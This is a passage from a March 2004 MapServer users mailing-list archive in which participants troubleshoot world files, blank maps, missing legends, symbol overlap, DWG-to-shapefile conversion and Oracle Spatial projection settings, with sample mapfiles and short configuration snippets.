scale. You can add them to the same group, so you can easily turn them on and off through the group name. An other solution may be the sid format (may be the ecw to). As far as I know ecw is supported in the nightly built version. As far as I know MrSid is not supported :( These format can contain multi resolution image sources, that case you can use the six different resolution tile as one image, that case no need for tileindex. Bye Zoltan > > > or do I need to class them each as seperate layers in the map file with > a max/min specification? > > Thanks > > bobb > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From siki at agt.bme.hu Thu Mar 18 02:31:51 2004 From: siki at agt.bme.hu (Siki Zoltan) Date: Thu, 18 Mar 2004 09:31:51 -0100 (GMT+1) Subject: [Mapserver-users] Question about wld/gfw file {Scanned} In-Reply-To: <20040318062232.37954.qmail@web14010.mail.yahoo.com> Message-ID: On Thu, 18 Mar 2004, [iso-8859-1] TOH CZ wrote: > Hi, I have a few questions about the wld/gfw files > used in mapserver > 1) Do I need to create a new wld/gfw file for each of > my own maps? No. World files sould be created for each raster layer. World file must have the same name that the raster file and must be in the same directory. > 2) How do you determine what to put into the wld/gfw > file? > I tried searching the archives, I could not find one > that contained information about using GIF files > Right now, my file shows a blank GIF image The world file contains the 6 parameters of an affine transformation. x1 = Ax + By + C y1 = Dx + Ey + F World file stores them in the following order A the pixel size in x direction in real life D -1 * the pixel size in y direction in the real life B rotation I think it must be 0 for mapserver (no rotation) E rotation I think it must be 0 for mapserver (no rotation) C x co-ordinate for the upper left corner F y co-ordinate for the upper left corner > > MAP > IMAGETYPE GIF > EXTENT 201621.496941 -294488.285333 > 1425518.020722 498254.511514 > SIZE 400 300 > SHAPEPATH "C:\Program Files\Apache > Group\Apache2\htdocs\tutorial\data" > IMAGECOLOR 255 255 255 > > PROJECTION > "proj=laea" > "ellps=clrk66" > "lat_0=45" > "lon_0=-100" > # > # Alternatively, you can specify an EPSG code. > # "init=epsg:2163" > # > END > > # Start of LAYER DEFINITIONS > --------------------------------------------- > LAYER # States polygon layer begins here > NAME tp_genmap > DATA "tp_genmap.gif" > STATUS DEFAULT > TYPE RASTER > > PROJECTION > "init=epsg:4326" > END > > CLASS > COLOR 232 232 232 > OUTLINECOLOR 32 32 32 > END > END # States polygon layer ends here > # End of LAYER DEFINITIONS > ------------------------------- > > END # end of map file/object > Thanks > > Try to find out the size of your image in pixels (ogrinfo can help) set the EXTENT to these values. Create a wld file like this 1 -1 0 0 0 pixel count in y direction Remove projection. Then you must see your image, but it will be in the origin. Bye Zoltan > > > > ___________________________________________________________ > Yahoo! Messenger - Communicate instantly..."Ping" > your friends today! Download Messenger Now > http://uk.messenger.yahoo.com/download/index.html > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From pucher at atlas.gis.univie.ac.at Thu Mar 18 01:19:11 2004 From: pucher at atlas.gis.univie.ac.at (Alexander Pucher) Date: Thu, 18 Mar 2004 10:19:11 +0100 Subject: [Mapserver-users] Anti-Aliasing of lines In-Reply-To: References: Message-ID: <4059698F.90903@atlas.gis.univie.ac.at> Hi all, Steve, please excuse if this isn't the right place for this discussion. I checked the GD documentation (http://www.boutell.com/gd/manual2.0.22.html) and found this: ------------------------------------------ What's new in version 2.0.12? [...] Support for fast drawing of antialiased lines and polygons, by Bright Fulton and Frank Faubert. To learn more about this feature, read about the gdImageSetAntiAliased function, which is used to set the foreground color for antialiasing, as well as the gdAntiAliased constant, which is passed to line- and polygon-drawing functions in place of a color. [...] gdAntiAliasing(CONSTANT) Used in place of a color when invoking a line-drawing function such as gdImageLine or gdImageRectangle . When gdAntiAliased is used as the color, the foreground color set with gdImageSetAntiAliased is used, with antialiasing mechanisms to minimize any "jagged" appearance. For more information, see gdImageSetAntiAliased . [...] ------------------------------------------ So, it seems that GD is able to draw anti-aliased lines. Is there a way to let mapserver use these functionality? Thanks for any input. alex. Steve Lime wrote: >Yup, we can do what GD does at this point. > >Steve > > > >>>>Alexander Pucher 3/17/2004 8:12:14 >>>> >>>> >AM >>> >Hi, > >what is the recent status of anti-aliasing of lines in MapServer. The >limitation is GD, is this correct? > >regards, >alex. > >_______________________________________________ >Mapserver-users mailing list >Mapserver-users at lists.gis.umn.edu >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > -- -------------------------------------------------------- Departement of Geography and Regional Research University of Vienna Cartography and GIS -------------------------------------------------------- Virtual Map Forum: http://www.gis.univie.ac.at/vmf -------------------------------------------------------- From pramila at darya.nio.org Thu Mar 18 01:39:05 2004 From: pramila at darya.nio.org (Pramila R Gawas) Date: Thu, 18 Mar 2004 15:09:05 +0530 Subject: [Mapserver-users] Unable to display map Message-ID: <40596E39.4040906@darya.nio.org> Dear MapServer experts, could you please help me with following problem? I'm trying to display data strored in shape file, but I allways get a blank map (image icon). The map file is as follows : NAME WORLD SIZE 500 650 EXTENT -180 -90 180 90 #UNITS METERS SHAPEPATH "/localhostname/user/abc/public_html/worldmap/data" STATUS ON #IMAGETYPE png LAYER NAME world TYPE POLYGON DATA world CLASS COLOR 181 181 181 OUTLINECOLOR 50 10 100 END STATUS DEFAULT END PROJECTION "proj=latlong" END WEB TEMPLATE demo.html IMAGEPATH "set in init.html" IMAGEURL "set in init.html" METADATA WMS_ONLINERESOURCE "http://localhost/~abc/init.html" END END END Could anybody get throught this problem. thanks pramila From dhuray at hotmail.com Thu Mar 18 01:57:43 2004 From: dhuray at hotmail.com (DAVID HURAY DE LA HOZ) Date: Thu, 18 Mar 2004 10:57:43 +0100 Subject: [Mapserver-users] DWG/DXF to SHP Message-ID:
I need to convert DWG files to SHP (ESRI), without user interaction. I don't know how to do it and what would be the best way, directly, with a middle step to Xml, Svg or Dxf...
It looks like if it wouldn't be posible, but I would like to know if there is any toolkit or SDK to do it or where can I find info.

Thanks a lot

Encuentra a tu media naranja entre los perfiles que m?s te gusten. Toda la magia del romance en MSN Amor & Amistad. From bartvde at xs4all.nl Thu Mar 18 02:37:38 2004 From: bartvde at xs4all.nl (bartvde at xs4all.nl) Date: Thu, 18 Mar 2004 11:37:38 +0100 (CET) Subject: [Mapserver-users] DWG/DXF to SHP In-Reply-To: References: Message-ID: <21166.212.238.227.182.1079606258.squirrel@webmail.xs4all.nl> Hi, the only tools that I know of are: 1) FME from Safe Software. Pretty expensive stuff though. 2) cad2shape http://www.guthcad.com/cad2shape.htm Best regards, Bart > > I need to convert DWG files to SHP (ESRI), without user interaction. I > don't know how to do it and what would be the best way, directly, with a > middle step to Xml, Svg or Dxf...It looks like if it wouldn't be posible, > but I would like to know if there is any toolkit or SDK to do it or where > can I find info.Thanks a lotEncuentra a tu media naranja entre los > perfiles que m?s te gusten. Toda la magia del romance en MSN Amor & > Amistad. > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From stephane.riff at cerene.fr Thu Mar 18 03:25:57 2004 From: stephane.riff at cerene.fr (=?ISO-8859-1?Q?St=E9phane_RIFF?=) Date: Thu, 18 Mar 2004 12:25:57 +0100 Subject: [Mapserver-users] Symbol overlap Message-ID: <40598745.1030806@cerene.fr> Hello, I have a point layer with several class using a symbol.... The problem is when i have severals symbol at the same point, symbols overlaps. Is it possible to avoid overlaping of symbols like with labels... Thanks From eduardo at consultoria.eti.br Thu Mar 18 03:49:45 2004 From: eduardo at consultoria.eti.br (Eduardo Patto Kanegae) Date: Thu, 18 Mar 2004 08:49:45 -0300 Subject: [Mapserver-users] Unable to display map In-Reply-To: <40596E39.4040906@darya.nio.org> References: <40596E39.4040906@darya.nio.org> Message-ID: <40598CD9.5000208@consultoria.eti.br> Did you check if your shapefile has this extent value? EXTENT -180 -90 180 90 A good way to check is to use "shpdump" tool from ShapeLib ( http://shapelib.maptools.org ) $ shpdump myshapefile.shp > mydumpfile.txt open the TXT file and look for line 3 and 4. that's all u need. best. Eduardo Patto Kanegae http://www.consultoria.eti.br ## Projeto MapServer Brasil - http://mapserver.cttmar.univali.br ## *************************************** ***Fim da Mensagem / End of Message *** *************************************** Pramila R Gawas escreveu: > Dear MapServer experts, > > could you please help me with following problem? > > I'm trying to display data strored in shape file, but I allways get a > blank map (image icon). > The map file is as follows : > NAME WORLD > SIZE 500 650 > EXTENT -180 -90 180 90 > #UNITS METERS > SHAPEPATH "/localhostname/user/abc/public_html/worldmap/data" > STATUS ON > #IMAGETYPE png > > LAYER > NAME world > TYPE POLYGON > DATA world > CLASS > COLOR 181 181 181 > OUTLINECOLOR 50 10 100 > END > STATUS DEFAULT > END > > PROJECTION > "proj=latlong" > END > > WEB > TEMPLATE demo.html > IMAGEPATH "set in init.html" > IMAGEURL "set in init.html" > METADATA > WMS_ONLINERESOURCE "http://localhost/~abc/init.html" > END > END > END > > > > Could anybody get throught this problem. > > > thanks > pramila > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > -- From eduardo at consultoria.eti.br Thu Mar 18 03:53:05 2004 From: eduardo at consultoria.eti.br (Eduardo Patto Kanegae) Date: Thu, 18 Mar 2004 08:53:05 -0300 Subject: [Mapserver-users] Windows and Premature end of script headers In-Reply-To: <001401c40c91$0bed7880$6400a8c0@Dale1> References: <001401c40c91$0bed7880$6400a8c0@Dale1> Message-ID: <40598DA1.2090106@consultoria.eti.br> "Premature end of script headers"

this generally happens if some libs are not found.

To install a MapServer windows pack extract all .dll files to c:\windows\system32\ dir
and the MapServer cgi to CGI path of your webserver.

You should also take a look at MS4W ( MapServer For Windows ) at www.maptools.org


-- 
Eduardo Patto Kanegae
http://www.consultoria.eti.br

## Projeto MapServer Brasil - http://mapserver.cttmar.univali.br ##
***************************************
***Fim da Mensagem / End of Message ***
***************************************


P Wilkerson escreveu:
I am sharing a problem and the eventual solution should others encounter a similar configuration problem in Windows XP.
 
After downloading MapServer and trying to install it on a Windows XP machine running an Apache 2 server, I encountered the following error message was recorded in the server's error.log file: "Premature end of script headers."  I've spent much of the day looking for possible solutions.
 
Eventually, I realized that the MapServer Lib path was not showing up under the PATH statement.
I had placed the PATH statement under "User variables for Owner" (where other programs had put their path statements) instead of "System variables." 
 
I hope this information will help others avoid the headache I had.
 
Peter Wilkerson
 
PS--It was the following message by Stephen Lime that gave me the clue I needed.  Thanks!!

From mschulz at webgis.de Thu Mar 18 03:56:26 2004 From: mschulz at webgis.de (Michael Schulz) Date: Thu, 18 Mar 2004 12:56:26 +0100 Subject: [Mapserver-users] Symbol overlap In-Reply-To: <40598745.1030806@cerene.fr> References: <40598745.1030806@cerene.fr> Message-ID: <40598E6A.1050205@webgis.de> Hi, did you experiment with the OFFSET parameter? By providing offsets in different directions you couldpossibly avoid overlapping. Cheers, Michael St?phane RIFF schrieb: > Hello, > > I have a point layer with several class using a symbol.... > The problem is when i have severals symbol at the same point, symbols > overlaps. Is it possible to avoid overlaping > of symbols like with labels... > > Thanks > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > -- ----------------------------------------------------------- Michael Schulz in medias res Dipl.-Geologe Gesellschaft f?r Informationstechnologie mbH In den Weihermatten 66 79108 Freiburg 0761 55695-95 (Fax 96) mschulz at webgis.de www.webgis.de/www.zopecms.de From e9625730 at student.tuwien.ac.at Thu Mar 18 04:20:36 2004 From: e9625730 at student.tuwien.ac.at (Elisabeth Nolz) Date: Thu, 18 Mar 2004 13:20:36 +0100 (MET) Subject: [Mapserver-users] no legend Message-ID: hi list. i have a "simple" problem: there ist no legend indicated. not even an error message. just an image with nothing in it. i can't imagine why. what am i doing wrong? i am grateful for each assistance. here is an extract of my mapfile (with only one layer): NAME TEST STATUS ON SIZE 300 300 EXTENT 1100 340050 2000 339480 UNITS METERS SHAPEPATH "data" IMAGECOLOR 255 255 255 IMAGETYPE GIF WEB IMAGEPATH "c:\apache\htdocs\bla\tmp\" IMAGEURL "/bla/TMP/" END LEGEND STATUS ON IMAGECOLOR 255 255 255 TRANSPARENT OFF OUTLINECOLOR 0 0 0 KEYSIZE 200 120 POSITION LR LABEL TYPE BITMAP SIZE MEDIUM COLOR 160 220 255 END END LAYER NAME "blabla" DATA "blabla" STATUS ON TYPE POLYGON CLASSITEM "blabla" CLASS EXPRESSION /./ OUTLINECOLOR 0 0 0 COLOR 255 255 255 END END and an extract of my php-file: draw(); $image_url=$image->saveWebImage(MS_GIF,1,1,0); $image_legend=$map->drawLegend(); $image_legend_url=$image_legend->saveWebImage(MS_GIF,1,1,0); ... ?> ... ... thx, elisabeth. From nicolas.fortin at ec.gc.ca Thu Mar 18 04:46:31 2004 From: nicolas.fortin at ec.gc.ca (Fortin,Nicolas [SteFoy]) Date: Thu, 18 Mar 2004 07:46:31 -0500 Subject: [Mapserver-users] Unable to display data stored in Oracle Spatial Message-ID: Hi Jiri, Always forward to the list to have better chance of answer... For what I'va seen for now with my data, Oracle layers need a SRID set in the SDO table and in the DATA element (USING SRID XXXXX). I can't help you more for this cause I'm not the one who deal with Oracle spatial here but we also have a Coord Syst that was not in the mdsys.cs_srs (custom LCC) and our spatial guy add manually the SRID to the table (see my example in previous mail with SRID=3000000 and the custom LCC definition). You can also try to set a PROJECTION for the map too. Regards, Nicolas -----Message d'origine----- De : Jiri Potocny [mailto:potocny at espace.cz] Envoy? : Thursday, March 18, 2004 7:28 AM ? : Fortin,Nicolas [SteFoy] Objet : Re: [Mapserver-users] Unable to display data stored in Oracle Spatial Nicolas thank you for your advice. I was unable to find appropriate coordinate system in mdsys.cs_srs, so all features in MDSYS.SDO_GEOM_METADATA_TABLE have SR_ID set to Null. I tryed to define PROJECTION by parameters or through "init=epsg:4818", but the result is still the same. See the mapfile, please: MAP IMAGETYPE PNG EXTENT -551051 -1288960 -548185 -1286773 SIZE 800 600 SHAPEPATH "data" IMAGECOLOR 255 255 255 LAYER NAME "parcely" DUMP TRUE STATUS DEFAULT TYPE POLYGON CONNECTIONTYPE oraclespatial CONNECTION uid/pwd at srvcname DATA "BOUNDARY FROM GR_PARCELY" PROJECTION "proj=krovak" "lat_0=49.5" "lon_0=24.83333333333333" "alpha=30.28813972222222" "k=0.9999" "x_0=0" "y_0=0" "ellps=bessel" "pm=ferro" "units=m" #"init=epsg:4818" END CLASS NAME "parcely" COLOR 232 232 232 OUTLINECOLOR 32 32 32 END END END Regards, Jirka ----- Original Message ----- From: "Fortin,Nicolas [SteFoy]" To: "Jiri Potocny" ; Sent: Wednesday, March 17, 2004 5:44 PM Subject: RE : [Mapserver-users] Unable to display data stored in Oracle Spatial > > Hi Jiri, > > You should use a PROJECTION element in your mapfile for this layer or > you should add USING SRID XXXXX at the end of your DATA request. > > Example: > > LAYER > NAME "3" > TYPE POLYGON > CONNECTIONTYPE oraclespatial > CONNECTION "uid/pwd at dbname" > DATA "GEOLOC FROM USR_WATERSHED.VWTRSD_LCC USING SRID 3000000" > STATUS OFF > DUMP TRUE > > PROJECTION > "proj=lcc" > "ellps=GRS80" > "lat_0=63" > "lon_0=-91.8666" > "lat_1=49" > "lat_2=77" > "x_0=6200000" > "y_0=2958000" > "datum=NAD83" > "units=m" > END > > CLASS > NAME "Watershed" > SYMBOL 'CIRCLE' > SIZE 2 > COLOR 255 255 255 > OUTLINECOLOR 0 204 0 > END > END # Watershed > > Nicolas > > -----Message d'origine----- > De : Jiri Potocny [mailto:potocny at espace.cz] > Envoy? : Wednesday, March 17, 2004 10:54 AM > ? : mapserver-users at lists.gis.umn.edu > Objet : [Mapserver-users] Unable to display data stored in Oracle > Spatial > > > Dear MapServer experts, > > could you please help me with following problem? > > I'm trying to display data strored in Oracle Spatial, but I allways > get a blank map. The map file is as follows: > > MAP > IMAGETYPE PNG > EXTENT -551051 -1288960 -548185 -1286773 > SIZE 800 600 > IMAGECOLOR 255 255 255 > > LAYER > NAME parcels > DUMP TRUE > STATUS DEFAULT > TYPE POLYGON > > CONNECTIONTYPE oraclespatial > CONNECTION username/password at netservisname > DATA "BOUNDARY FROM PARCELS" > > CLASS > COLOR 232 232 232 > OUTLINECOLOR 32 32 32 > END > END > > END > > If I export the data from oracle into the shapefile and use following > map file, everything is O.K. > > MAP > IMAGETYPE PNG > EXTENT -551051 -1288960 -548185 -1286773 > SIZE 800 600 > SHAPEPATH "data" > IMAGECOLOR 255 255 255 > > LAYER > NAME parcely > DUMP TRUE > STATUS DEFAULT > TYPE POLYGON > DATA PARCELS > > CLASS > COLOR 232 232 232 > OUTLINECOLOR 32 32 32 > END > END > > END > > The only difference is in the data source, the data (attributes as > well as > geometries) are the same. I'm running MapServer 4.0.1 with Oracle Spatial support (downloaded from > http://hypnos.cbs.umn.edu/projects/downloads/ms401_png_oracle.zip) and Oracle Database Server version 9.2.0.1.0 on Windows 2000 Professional SP 3. > > Could anybody get throught this problem. > > Much appreciated, > Jirka > > _______________________________________________ > Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From potocny at espace.cz Thu Mar 18 04:59:53 2004 From: potocny at espace.cz (Jiri Potocny) Date: Thu, 18 Mar 2004 13:59:53 +0100 Subject: [Mapserver-users] Unable to display data stored in Oracle Spatial References: Message-ID: <009301c40ce8$eab4a5f0$bc03a8c0@twoflower> Nicolas, thank you for your help. I'll try to define a new spatial reference. Regards, Jirka ----- Original Message ----- From: "Fortin,Nicolas [SteFoy]" To: "Jiri Potocny" Cc: "Mapserver User List" Sent: Thursday, March 18, 2004 1:46 PM Subject: RE : [Mapserver-users] Unable to display data stored in Oracle Spatial Hi Jiri, Always forward to the list to have better chance of answer... For what I'va seen for now with my data, Oracle layers need a SRID set in the SDO table and in the DATA element (USING SRID XXXXX). I can't help you more for this cause I'm not the one who deal with Oracle spatial here but we also have a Coord Syst that was not in the mdsys.cs_srs (custom LCC) and our spatial guy add manually the SRID to the table (see my example in previous mail with SRID=3000000 and the custom LCC definition). You can also try to set a PROJECTION for the map too. Regards, Nicolas -----Message d'origine----- De : Jiri Potocny [mailto:potocny at espace.cz] Envoy? : Thursday, March 18, 2004 7:28 AM ? : Fortin,Nicolas [SteFoy] Objet : Re: [Mapserver-users] Unable to display data stored in Oracle Spatial Nicolas thank you for your advice. I was unable to find appropriate coordinate system in mdsys.cs_srs, so all features in MDSYS.SDO_GEOM_METADATA_TABLE have SR_ID set to Null. I tryed to define PROJECTION by parameters or through "init=epsg:4818", but the result is still the same. See the mapfile, please: MAP IMAGETYPE PNG EXTENT -551051 -1288960 -548185 -1286773 SIZE 800 600 SHAPEPATH "data" IMAGECOLOR 255 255 255 LAYER NAME "parcely" DUMP TRUE STATUS DEFAULT TYPE POLYGON CONNECTIONTYPE oraclespatial CONNECTION uid/pwd at srvcname DATA "BOUNDARY FROM GR_PARCELY" PROJECTION "proj=krovak" "lat_0=49.5" "lon_0=24.83333333333333" "alpha=30.28813972222222" "k=0.9999" "x_0=0" "y_0=0" "ellps=bessel" "pm=ferro" "units=m" #"init=epsg:4818" END CLASS NAME "parcely" COLOR 232 232 232 OUTLINECOLOR 32 32 32 END END END Regards, Jirka ----- Original Message ----- From: "Fortin,Nicolas [SteFoy]" To: "Jiri Potocny" ; Sent: Wednesday, March 17, 2004 5:44 PM Subject: RE : [Mapserver-users] Unable to display data stored in Oracle Spatial > > Hi Jiri, > > You should use a PROJECTION element in your mapfile for this layer or > you should add USING SRID XXXXX at the end of your DATA request. > > Example: > > LAYER > NAME "3" > TYPE POLYGON > CONNECTIONTYPE oraclespatial > CONNECTION "uid/pwd at dbname" > DATA "GEOLOC FROM USR_WATERSHED.VWTRSD_LCC USING SRID 3000000" > STATUS OFF > DUMP TRUE > > PROJECTION > "proj=lcc" > "ellps=GRS80" > "lat_0=63" > "lon_0=-91.8666" > "lat_1=49" > "lat_2=77" > "x_0=6200000" > "y_0=2958000" > "datum=NAD83" > "units=m" > END > > CLASS > NAME "Watershed" > SYMBOL 'CIRCLE' > SIZE 2 > COLOR 255 255 255 > OUTLINECOLOR 0 204 0 > END > END # Watershed > > Nicolas > > -----Message d'origine----- > De : Jiri Potocny [mailto:potocny at espace.cz] > Envoy? : Wednesday, March 17, 2004 10:54 AM > ? : mapserver-users at lists.gis.umn.edu > Objet : [Mapserver-users] Unable to display data stored in Oracle > Spatial > > > Dear MapServer experts, > > could you please help me with following problem? > > I'm trying to display data strored in Oracle Spatial, but I allways > get a blank map. The map file is as follows: > > MAP > IMAGETYPE PNG > EXTENT -551051 -1288960 -548185 -1286773 > SIZE 800 600 > IMAGECOLOR 255 255 255 > > LAYER > NAME parcels > DUMP TRUE > STATUS DEFAULT > TYPE POLYGON > > CONNECTIONTYPE oraclespatial > CONNECTION username/password at netservisname > DATA "BOUNDARY FROM PARCELS" > > CLASS > COLOR 232 232 232 > OUTLINECOLOR 32 32 32 > END > END > > END > > If I export the data from oracle into the shapefile and use following > map file, everything is O.K. > > MAP > IMAGETYPE PNG > EXTENT -551051 -1288960 -548185 -1286773 > SIZE 800 600 > SHAPEPATH "data" > IMAGECOLOR 255 255 255 > > LAYER > NAME parcely > DUMP TRUE > STATUS DEFAULT > TYPE POLYGON > DATA PARCELS > > CLASS > COLOR 232 232 232 > OUTLINECOLOR 32 32 32 > END > END > > END > > The only difference is in the data source, the data (attributes as > well as > geometries) are the same. I'm running MapServer 4.0.1 with Oracle Spatial support (downloaded from > http://hypnos.cbs.umn.edu/projects/downloads/ms401_png_oracle.zip) and Oracle Database Server version 9.2.0.1.0 on Windows 2000 Professional SP 3. > > Could anybody get throught this problem. > > Much appreciated, > Jirka > > _______________________________________________ > Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From mschulz at webgis.de Thu Mar 18 05:19:32 2004 From: mschulz at webgis.de (Michael Schulz) Date: Thu, 18 Mar 2004 14:19:32 +0100 Subject: [Mapserver-users] no legend In-Reply-To: References: Message-ID: <4059A1E4.9040304@webgis.de> Hi, maybe the KEYSIZE (the size of the legend box for each class you have defined) is too big (200x120 pixel)? Cheers, Michael Elisabeth Nolz schrieb: > hi list. > > i have a "simple" problem: there ist no legend indicated. not even an > error message. just an image with nothing in it. i can't imagine why. what > am i doing wrong? i am grateful for each assistance. > > here is an extract of my mapfile (with only one layer): > > NAME TEST > STATUS ON > SIZE 300 300 > EXTENT 1100 340050 2000 339480 > UNITS METERS > SHAPEPATH "data" > IMAGECOLOR 255 255 255 > IMAGETYPE GIF > > WEB > IMAGEPATH "c:\apache\htdocs\bla\tmp\" > IMAGEURL "/bla/TMP/" > END > > LEGEND > STATUS ON > IMAGECOLOR 255 255 255 > TRANSPARENT OFF > OUTLINECOLOR 0 0 0 > KEYSIZE 200 120 > POSITION LR > LABEL > TYPE BITMAP > SIZE MEDIUM > COLOR 160 220 255 > END > END > > LAYER > NAME "blabla" > DATA "blabla" > STATUS ON > TYPE POLYGON > CLASSITEM "blabla" > CLASS > EXPRESSION /./ > OUTLINECOLOR 0 0 0 > COLOR 255 255 255 > END > END > > > and an extract of my php-file: > > ... > $map=ms_newMapObj($map_path.$map_file); > $image=$map->draw(); > $image_url=$image->saveWebImage(MS_GIF,1,1,0); > $image_legend=$map->drawLegend(); > $image_legend_url=$image_legend->saveWebImage(MS_GIF,1,1,0); > ... > ?> > > > ... > > ... > > > > thx, elisabeth. > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > -- ----------------------------------------------------------- Michael Schulz in medias res Dipl.-Geologe Gesellschaft f?r Informationstechnologie mbH In den Weihermatten 66 79108 Freiburg 0761 55695-95 (Fax 96) mschulz at webgis.de www.webgis.de/www.zopecms.de From potocny at espace.cz Thu Mar 18 05:27:32 2004 From: potocny at espace.cz (Jiri Potocny) Date: Thu, 18 Mar 2004 14:27:32 +0100 Subject: [Mapserver-users] Unable to display data stored in Oracle Spatial References: <007a01c40c38$100ff680$bc03a8c0@twoflower> <405886EC.2040902@inf.univali.br> Message-ID: <00d901c40cec$c7869e40$bc03a8c0@twoflower> Fernando, thank you for your hints. I used Oracle SQL loader utility to import the data: SQLLDR uid/pwd at srvcname control=parcely log=parcely.log The data were stored in comma separated value text file in the format like this: 4|777777||"1"|1|3007| |pt||||1|1003|1|;-554984,87|-1285550,04|0|-554998,75|-1285529,3200000001|0|- 555001,98999999999|-1285530,8100000001|0|-554984,87|-1285550,04|0|:1|02/13/2 004 00:00:00|| Anyway, I tried to execute SDO_MIGRATE.TO_CURRENT(' TABLE ',' GEOMETRY_COLUMN '), but the problem remains. Regards, Jirka P.S. Your English is perfect enough for this purposes, no need to appologize. ----- Original Message ----- From: Fernando S. To: Jiri Potocny ; mapserver-users at lists.gis.umn.edu Sent: Wednesday, March 17, 2004 6:12 PM Subject: Re: [Mapserver-users] Unable to display data stored in Oracle Spatial Hi Jiri, I don't know if I can help you. But I will try. I need to do some questions to help you: How you imported the data to Oracle? Using shp2sdo? If yes, after you imported the data, did you execute this function: SDO_MIGRATE.TO_CURRENT(' TABLE ',' GEOMETRY_COLUMN '); If you create a table with geometry columns, and populate it, and try show it in the mapserv? It appeared in the image? I don't know if I help you, sorry my poor english. If you need some help, you can report me. ================================================================== Fernando Simon - simon at cttmar.univali.br ================================================================== DataBase Manager, Mapserver, OracleSpatial and PostGis Developer G10 - Laborat?rio de Computa?ao Aplicada Fone: 047 - 341 7960 http://g10.cttmar.univali.br ================================================================== Jiri Potocny wrote: Dear MapServer experts, could you please help me with following problem? I'm trying to display data strored in Oracle Spatial, but I allways get a blank map. The map file is as follows: MAP IMAGETYPE PNG EXTENT -551051 -1288960 -548185 -1286773 SIZE 800 600 IMAGECOLOR 255 255 255 LAYER NAME parcels DUMP TRUE STATUS DEFAULT TYPE POLYGON CONNECTIONTYPE oraclespatial CONNECTION username/password at netservisname DATA "BOUNDARY FROM PARCELS" CLASS COLOR 232 232 232 OUTLINECOLOR 32 32 32 END END END If I export the data from oracle into the shapefile and use following map file, everything is O.K. MAP IMAGETYPE PNG EXTENT -551051 -1288960 -548185 -1286773 SIZE 800 600 SHAPEPATH "data" IMAGECOLOR 255 255 255 LAYER NAME parcely DUMP TRUE STATUS DEFAULT TYPE POLYGON DATA PARCELS CLASS COLOR 232 232 232 OUTLINECOLOR 32 32 32 END END END The only difference is in the data source, the data (attributes as well as geometries) are the same. I'm running MapServer 4.0.1 with Oracle Spatial support (downloaded from http://hypnos.cbs.umn.edu/projects/downloads/ms401_png_oracle.zip) and Oracle Database Server version 9.2.0.1.0 on Windows 2000 Professional SP 3. Could anybody get throught this problem. Much appreciated, Jirka _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From Darren.Cope at statcan.ca Thu Mar 18 05:20:52 2004 From: Darren.Cope at statcan.ca (Darren.Cope at statcan.ca) Date: Thu, 18 Mar 2004 08:20:52 -0500 Subject: [Mapserver-users] no legend Message-ID: Make sure you have a NAME for each CLASS. Then the legend should work properly! -----Original Message----- From: Elisabeth Nolz [mailto:e9625730 at student.tuwien.ac.at] Sent: March 18, 2004 7:21 AM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] no legend hi list. i have a "simple" problem: there ist no legend indicated. not even an error message. just an image with nothing in it. i can't imagine why. what am i doing wrong? i am grateful for each assistance. here is an extract of my mapfile (with only one layer): NAME TEST STATUS ON SIZE 300 300 EXTENT 1100 340050 2000 339480 UNITS METERS SHAPEPATH "data" IMAGECOLOR 255 255 255 IMAGETYPE GIF WEB IMAGEPATH "c:\apache\htdocs\bla\tmp\" IMAGEURL "/bla/TMP/" END LEGEND STATUS ON IMAGECOLOR 255 255 255 TRANSPARENT OFF OUTLINECOLOR 0 0 0 KEYSIZE 200 120 POSITION LR LABEL TYPE BITMAP SIZE MEDIUM COLOR 160 220 255 END END LAYER NAME "blabla" DATA "blabla" STATUS ON TYPE POLYGON CLASSITEM "blabla" CLASS EXPRESSION /./ OUTLINECOLOR 0 0 0 COLOR 255 255 255 END END and an extract of my php-file: draw(); $image_url=$image->saveWebImage(MS_GIF,1,1,0); $image_legend=$map->drawLegend(); $image_legend_url=$image_legend->saveWebImage(MS_GIF,1,1,0); ... ?> ... ... thx, elisabeth. _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From cz_toh at yahoo.com Thu Mar 18 05:37:03 2004 From: cz_toh at yahoo.com (=?iso-8859-1?q?TOH=20CZ?=) Date: Thu, 18 Mar 2004 13:37:03 +0000 (GMT) Subject: [Mapserver-users] Question about wld/gfw file {Scanned} In-Reply-To: Message-ID: <20040318133703.23773.qmail@web14005.mail.yahoo.com> Hi I am still not sure what I need I have created a wld file named tpgenmap.wld with some values I do not know where you get that OGR thing is it something that must be downloaded seperately from mapserver? Is using only 1 GIF image(any images for that matter) possible with mapserver? So far the examples are 'drawn' out individually instead of being the image itself ___________________________________________________________ Yahoo! Messenger - Communicate instantly..."Ping" your friends today! Download Messenger Now http://uk.messenger.yahoo.com/download/index.html From jhart at frw.uva.nl Thu Mar 18 05:35:05 2004 From: jhart at frw.uva.nl (Jan Hartmann) Date: Thu, 18 Mar 2004 14:35:05 +0100 Subject: [Mapserver-users] no legend In-Reply-To: References: Message-ID: <4059A589.5060408@frw.uva.nl> Elisabeth Nolz wrote: > hi list. > > i have a "simple" 